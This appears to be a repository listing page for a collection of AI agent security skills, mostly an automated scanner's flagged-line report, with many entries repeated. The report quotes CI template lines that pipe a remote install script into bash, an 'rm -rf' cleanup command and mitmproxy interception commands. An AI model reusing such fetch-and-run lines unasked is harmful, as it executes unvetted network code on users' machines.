  • ../offsec/webapp-nikto/assets/.gitkeepasset221 bytes
  • ../offsec/webapp-nikto/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/webapp-nikto/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/webapp-nikto/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-nikto/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-nikto/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-nikto/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/webapp-nikto/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../offsec/webapp-sqlmap/SKILL.mddoc12,760 bytes
  • ../offsec/webapp-sqlmap/assets/.gitkeepasset221 bytes
  • ../offsec/webapp-sqlmap/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/webapp-sqlmap/assets/ci-config-template.ymlasset11,105 bytes
  • ../offsec/webapp-sqlmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-sqlmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-sqlmap/assets/rule-template.yamlasset11,044 bytes
  • ../offsec/webapp-sqlmap/references/EXAMPLE.mddoc15,672 bytes
  • ../offsec/webapp-sqlmap/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../secsdlc/reviewdog/SKILL.mddoc11,941 bytes
  • ../secsdlc/reviewdog/assets/.gitkeepasset221 bytes
  • ../secsdlc/reviewdog/assets/.reviewdog.ymlasset3,155 bytes
  • ../secsdlc/reviewdog/assets/github_actions_template.ymlasset5,500 bytes
  • ../secsdlc/reviewdog/assets/gitlab_ci_template.ymlasset5,080 bytes
  • ../secsdlc/reviewdog/assets/pre_commit_config.yamlasset3,444 bytes
  • ../secsdlc/reviewdog/assets/pre_commit_config.yamlasset3,444 bytes
  • ../secsdlc/reviewdog/assets/pre_commit_config.yamlasset3,444 bytes
  • ../secsdlc/reviewdog/references/cwe_mapping.mddoc11,016 bytes
  • ../secsdlc/reviewdog/references/reporter_formats.mddoc10,348 bytes
  • ../secsdlc/reviewdog/references/supported_tools.mddoc8,595 bytes
  • ../secsdlc/sast-horusec/SKILL.mddoc10,272 bytes
  • ../secsdlc/sast-horusec/assets/.gitkeepasset221 bytes
  • ../secsdlc/sast-horusec/assets/ci-config-template.ymlasset11,105 bytes
  • ../secsdlc/sast-horusec/assets/ci-config-template.ymlasset11,105 bytes
  • ../secsdlc/sast-horusec/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sast-horusec/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sast-horusec/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sast-horusec/references/EXAMPLE.mddoc15,672 bytes
  • ../secsdlc/sast-horusec/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../secsdlc/sbom-syft/SKILL.mddoc13,833 bytes
  • ../secsdlc/sbom-syft/assets/.gitkeepasset221 bytes
  • ../secsdlc/sbom-syft/assets/ci-config-template.ymlasset11,105 bytes
  • ../secsdlc/sbom-syft/assets/ci-config-template.ymlasset11,105 bytes
  • ../secsdlc/sbom-syft/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sbom-syft/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sbom-syft/assets/rule-template.yamlasset11,044 bytes
  • ../secsdlc/sbom-syft/references/EXAMPLE.mddoc15,672 bytes
  • ../secsdlc/sbom-syft/references/WORKFLOW_CHECKLIST.mddoc8,390 bytes
  • ../threatmodel/pytm/SKILL.mddoc17,692 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • skill-name
  • api-mitmproxy
  • api-spectral
  • dast-ffuf
  • dast-nuclei
  • dast-zap
  • sast-bandit
  • sast-semgrep
  • sca-blackduck
  • policy-opa
  • container-grype
  • container-hadolint
  • iac-checkov
  • sca-trivy
  • secrets-gitleaks
  • vuln-defectdojo
  • detection-sigma
  • forensics-osquery
  • ir-velociraptor
  • analysis-tshark
  • crack-hashcat
  • network-netcat
  • ot-security-assessment
  • pentest-metasploit
  • privesc-linpeas
  • recon-nmap
  • webapp-nikto
  • webapp-sqlmap
  • reviewdog
  • sast-horusec
  • sbom-syft
  • pytm

Repository facts

License
No license detected
Created
Nov 19, 2025
Last pushed
Apr 15, 2026
Forks
45
Open issues
17
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 634 notes
  • skills/_template/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-mitmproxy/assets/ci-config-template.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-mitmproxy/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-mitmproxy/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-spectral/assets/ci-config-template.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-spectral/assets/github-actions-template.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-spectral/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/api-spectral/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-ffuf/assets/ci-config-template.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-ffuf/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-ffuf/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-nuclei/assets/ci-config-template.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-nuclei/assets/github_actions.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-nuclei/assets/nuclei_config.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-nuclei/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-nuclei/assets/rule-template.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-zap/assets/github_action.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/dast-zap/assets/gitlab_ci.yml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/sast-bandit/assets/bandit_config.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • skills/appsec/sast-bandit/assets/bandit_config.yaml:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 5,662 signals by file

skills/.claude-plugin/marketplace.json

  • Executable scriptline 1
    Executable file

skills/_template/SKILL.md

  • Network accessline 155
    - [Tool Documentation](https://example.com)
  • Network accessline 156
    - [Security Framework](https://owasp.org)
  • Network accessline 157
    - [Compliance Standard](https://example.com)

skills/_template/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/_template/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/_template/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/api-mitmproxy/SKILL.md

  • Network accessline 18
    tools: [mitmproxy, mitmweb, mitmdump] references:   - https://mitmproxy.org/
  • Network accessline 18
    tools: [mitmproxy, mitmweb, mitmdump] references:   - https://mitmproxy.org/
  • Network accessline 19
    references:   - https://mitmproxy.org/   - https://docs.mitmproxy.org/
  • Network accessline 19
    references:   - https://mitmproxy.org/   - https://docs.mitmproxy.org/
  • Network accessline 20
    - https://mitmproxy.org/
  • Network accessline 20
    - https://mitmproxy.org/
  • Network accessline 21
    - https://docs.mitmproxy.org/
  • Network accessline 21
    - https://docs.mitmproxy.org/
  • Network accessline 47
    # Start web interface (default: http://127.0.0.1:8081)
  • Network accessline 47
    # Start web interface (default: http://127.0.0.1:8081)
  • Network accessline 107
    # Replay to server    mitmdump -nc -r api-traffic.flow
  • Network accessline 107
    # Replay to server    mitmdump -nc -r api-traffic.flow
  • Network accessline 108
    mitmdump -nc -r api-traffic.flow
  • Network accessline 108
    mitmdump -nc -r api-traffic.flow
  • Network accessline 163
    mitmproxy --mode reverse:https://api.example.com --listen-host 0.0.0.0 --listen-port 443
  • Network accessline 163
    mitmproxy --mode reverse:https://api.example.com --listen-host 0.0.0.0 --listen-port 443
  • Network accessline 186
    mitmproxy --mode reverse:https://api.example.com --listen-port 443
  • Network accessline 186
    mitmproxy --mode reverse:https://api.example.com --listen-port 443
  • Network accessline 192
    mitmproxy --mode upstream:http://corporate-proxy:8080
  • Network accessline 192
    mitmproxy --mode upstream:http://corporate-proxy:8080
  • Network accessline 200
    **Browser/Desktop:** 1. Start mitmproxy and configure proxy settings 2. Visit http://mitm.it
  • Network accessline 200
    **Browser/Desktop:** 1. Start mitmproxy and configure proxy settings 2. Visit http://mitm.it
  • Network accessline 201
    1. Start mitmproxy and configure proxy settings 2. Visit http://mitm.it 3. Download certificate for your platform
  • Network accessline 201
    1. Start mitmproxy and configure proxy settings 2. Visit http://mitm.it 3. Download certificate for your platform
  • Network accessline 202
    2. Visit http://mitm.it 3. Download certificate for your platform 4. Install in system/browser certificate store
  • Network accessline 202
    2. Visit http://mitm.it 3. Download certificate for your platform 4. Install in system/browser certificate store
  • Network accessline 352
    # Run API tests through proxy export HTTP_PROXY=http://localhost:8080
  • Network accessline 352
    # Run API tests through proxy export HTTP_PROXY=http://localhost:8080
  • Network accessline 353
    export HTTP_PROXY=http://localhost:8080
  • Network accessline 353
    export HTTP_PROXY=http://localhost:8080
  • Network accessline 354
    export HTTPS_PROXY=http://localhost:8080
  • Network accessline 354
    export HTTPS_PROXY=http://localhost:8080
  • Dangerous shell operationline 434
    rm -rf ~/.mitmproxy/
  • Dangerous shell operationline 434
    rm -rf ~/.mitmproxy/
  • Network accessline 481
    - [mitmproxy Documentation](https://docs.mitmproxy.org/)
  • Network accessline 481
    - [mitmproxy Documentation](https://docs.mitmproxy.org/)
  • Network accessline 482
    - [mitmproxy GitHub](https://github.com/mitmproxy/mitmproxy)
  • Network accessline 482
    - [mitmproxy GitHub](https://github.com/mitmproxy/mitmproxy)
  • Network accessline 483
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
  • Network accessline 483
    - [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
  • Network accessline 484
    - [mitmproxy Addon Examples](https://github.com/mitmproxy/mitmproxy/tree/main/examples)
  • Network accessline 484
    - [mitmproxy Addon Examples](https://github.com/mitmproxy/mitmproxy/tree/main/examples)

skills/appsec/api-mitmproxy/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/appsec/api-mitmproxy/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/appsec/api-mitmproxy/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/appsec/api-spectral/SKILL.md

  • Network accessline 19
    optional: [docker, git] references:   - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview
  • Network accessline 19
    optional: [docker, git] references:   - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview
  • Network accessline 20
    references:   - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview   - https://github.com/stoplightio/spectral
  • Network accessline 20
    references:   - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview   - https://github.com/stoplightio/spectral
  • Network accessline 21
    - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview
  • Network accessline 21
    - https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview
  • Network accessline 22
    - https://github.com/stoplightio/spectral
  • Network accessline 22
    - https://github.com/stoplightio/spectral
  • Network accessline 23
    - https://owasp.org/API-Security/editions/2023/en/0x11-t10/
  • Network accessline 23
    - https://owasp.org/API-Security/editions/2023/en/0x11-t10/
  • Network accessline 704
    - [Spectral Documentation](https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview)
  • Network accessline 704
    - [Spectral Documentation](https://docs.stoplight.io/docs/spectral/674b27b261c3c-overview)
  • Network accessline 705
    - [Spectral GitHub Repository](https://github.com/stoplightio/spectral)
  • Network accessline 705
    - [Spectral GitHub Repository](https://github.com/stoplightio/spectral)
  • Network accessline 706
    - [OWASP API Security Top 10](https://owasp.org/API-Security/editions/2023/en/0x11-t10/)
  • Network accessline 706
    - [OWASP API Security Top 10](https://owasp.org/API-Security/editions/2023/en/0x11-t10/)
  • Network accessline 707
    - [OpenAPI Specification](https://spec.openapis.org/oas/latest.html)
  • Network accessline 707
    - [OpenAPI Specification](https://spec.openapis.org/oas/latest.html)
  • Network accessline 708
    - [AsyncAPI Specification](https://www.asyncapi.com/docs/reference/specification/latest)
  • Network accessline 708
    - [AsyncAPI Specification](https://www.asyncapi.com/docs/reference/specification/latest)

skills/appsec/api-spectral/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/appsec/api-spectral/assets/github-actions-template.yml

  • Network accessline 63
    # Download parse script if not in repository           if [ ! -f "scripts/parse_spectral_results.py" ]; then             curl -o scripts/parse_spectral_results.py \
  • Network accessline 63
    # Download parse script if not in repository           if [ ! -f "scripts/parse_spectral_results.py" ]; then             curl -o scripts/parse_spectral_results.py \
  • Network accessline 64
    if [ ! -f "scripts/parse_spectral_results.py" ]; then             curl -o scripts/parse_spectral_results.py \               https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/scripts/parse_spectral_results.py
  • Network accessline 64
    if [ ! -f "scripts/parse_spectral_results.py" ]; then             curl -o scripts/parse_spectral_results.py \               https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/scripts/parse_spectral_results.py
  • Network accessline 65
    curl -o scripts/parse_spectral_results.py \
  • Network accessline 65
    curl -o scripts/parse_spectral_results.py \
  • Network accessline 66
    https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/scripts/parse_spectral_results.py
  • Network accessline 66
    https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/scripts/parse_spectral_results.py
  • Network accessline 162
    else             # Download OWASP ruleset template             curl -o .spectral-owasp.yaml \
  • Network accessline 162
    else             # Download OWASP ruleset template             curl -o .spectral-owasp.yaml \
  • Network accessline 163
    # Download OWASP ruleset template             curl -o .spectral-owasp.yaml \               https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/assets/spectral-owasp.yaml
  • Network accessline 163
    # Download OWASP ruleset template             curl -o .spectral-owasp.yaml \               https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/assets/spectral-owasp.yaml
  • Network accessline 164
    curl -o .spectral-owasp.yaml \
  • Network accessline 164
    curl -o .spectral-owasp.yaml \
  • Network accessline 165
    https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/assets/spectral-owasp.yaml
  • Network accessline 165
    https://raw.githubusercontent.com/SecOpsAgentKit/skills/main/appsec/api-spectral/assets/spectral-owasp.yaml

skills/appsec/api-spectral/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/appsec/api-spectral/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
